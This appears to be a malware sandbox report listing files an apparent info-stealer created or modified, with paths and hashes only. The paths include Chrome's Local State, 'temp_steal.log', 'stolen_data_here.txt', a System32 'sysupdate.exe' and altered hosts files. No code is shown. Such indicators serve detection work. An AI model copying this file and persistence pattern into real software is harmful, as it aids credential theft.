- SSDEEP 3072:/OGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMM:/Jm7Rkm1tYpBeh2BAoM
- TLSH T18FC312275E75E9375878BB0EB08E0B1F1EF14AA6D930DA92C8D86B0467F97CC1A05D34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 235KB
- SHA256 2cbcf27b8c4b34c3bbfec50667b5db72a94dc657027da3d0eb2974166f99dda3
- MD5 7ab996b6d20fe77f58d2ede931a9f5ff
- SHA1 acee4356d1384e490ab5540394061e9d727e463f
- SHA512 3d486302d77942c30e6c497234a8963234e0c0df997a5a5f428fb72ba4ea8dc2f63e9d83ba875eebd2e6af2d037bfd09bb3490c52d95711821112fd68bce2f00
- SSDEEP 6144:nsSttY13Xb5zuXltKY1sK6hGm7Rkm1tYpBeh2BAoR:nPttaLI/KVK6hx9oBGcAoR
- TLSH T19B3412236F25AD3755BCA79D700B6A2F1DB16D63EC31D6A5C089AF0026EC7CD1606878
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 235KB
- SHA256 9446cbe77d19f4ea71158fc0658e0a468e0cba6660bbb3229f6ce8833768c989
- MD5 95dcef8068582f02ee950f84814a112d
- SHA1 d7315f21e944baac9d392419d80a3cb363e09f23
- SHA512 d545fa75862cc3a51b3820902e190400f839952f0690810a30347e5f681b5cec43f6bef0383f69489c61551119d39433cfcc739e814dab351f1dc9e67acbc720
- SSDEEP 6144:wsSttY13Xb5zuXltKY1sK6hGm7Rkm1tYpBeh2BAoR:wPttaLI/KVK6hx9oBGcAoR
- TLSH T1A03412236F25AD3755BCAB9D700B6A2F1DB16D63EC31D6A5C089AF0036EC7CD1606878
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\veggi.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fcagezyz.qp5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 240B
- SHA256 3be6ba13c34c51ada64947a79cc684098e9df6dd20241edcaf0ea12b11bb1b21
- MD5 5369dfa82fb141317e03bc8a03552a48
- SHA1 0ffee5b32b6a4a47df3908df50cf16523e963eea
- SHA512 a832dbd1501242da1c373208e30830ac0c8754f485d17b7fa2b89397ead0928d5f429b07bfb8dcaee78fefa4ff2a808a5a009dbe75a40371528789abb5a5358f
- TLSH T1D4D0A79BB24CC6A90001127B81F38E4CEAF548283B13BE705AA5DD4D369188589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 241B
- SHA256 490b3ac157af8ee9f756c28caa69ac774ca5ec1b8080ebabe502c3b4537b0a76
- MD5 38a5df2ac8eefb3cba9336f205c20756
- SHA1 1895f3a5d3a59701e395e1319e3f2a7fd4235e8f
- SHA512 a2891c73fc6a26a2ce0211d222eb9178e537a8115094bbe7d603281a9257314a4e0827ebd8ff757dc04ec880e5db1556eaa26d6e9658f13ca37271ff67eef087
- TLSH T105D0A7DBB24CC6A90001127B80F38E4CEAE148283F13AE70AA65DD0E368188589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 124KB
- SHA256 d4e5dbd0f24bf6285dae6a0502f89e7b8df28014f92d61a5fe696cf5d3f52ec5
- MD5 bad31519ecbe6abdb45617bb73c250b5
- SHA1 41d4ce069520cd314b7723fea2f5abdbf5e892b4
- SHA512 dc1674da2da009a2b115bf70e2acf0efcc04c5325035c55a9c51c5be921ec4aac5b188b9d3375a880ab2f1b0544d9dce6d5a2d5159c97a7a938c3c7b6220509a
- SSDEEP 1536:QlUVffBqaqRKsxkXtblccHbFJ/s5QJh+9Viw2GBgkF/e:EUVfbsxkXtLyA89kw2GBgg2
- TLSH T17EC30850C6F78E3B45815AAB095677D0E478F7B0C2ED91FB20B2AA63F163CE2C358615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 124KB
- SHA256 3616853277c94b32c744cd6d90677abb1fcd796e2fbc315f8e4564a8b5ab47a7
- MD5 adffefd8436e180dee52ee9e2234a078
- SHA1 88cea5679b04b5a2f1429927e075cb8c8a8fc126
- SHA512 6a33a1c660b3789223e4a6a2d9d147f01cbebbb171a62a3dcb1c23a9511cc2c94805ee550795e4afd8d5be230923c3f9c32ca82043b8333ceee0da632e6a15eb
- SSDEEP 1536:blUVffBqaqRKsxkXtblccHbFJ/s5QJh+9Viw2GBgkF/x:RUVfbsxkXtLyA89kw2GBggp
- TLSH T1F0C30850C6F78E3B45815AAB085677D0E478F7B1C2ED91FB20B2AA63F163CE2C358615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 fca6145e1c6b6c0cbb577df1005a931978b2c49b9d37b581c137b9a2a8050939
- MD5 716965998ac87b5519cd4a085b631d19
- SHA1 ab37b1cd493ca79b550076fe8cffbf3c49bf0836
- SHA512 c9271280d58fac32c895d63acd0d6b7277af623d5237d240b51303c8354bbd9ca25723c90b31a97bcedcf0223bbb1c9f5972bb603f447b1f649150ca077a0364
- SSDEEP 768:ShACrXoD+Lmj2OFaHJqn41//o4TC1XXGblfA0hKFcO:SjEDYlj1I4TEXGblf9hucO
- TLSH T1D223F80477F98512F2FF4ABA4DB19601AB31F8979C22D78D06D5058E1AB3B40CDA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH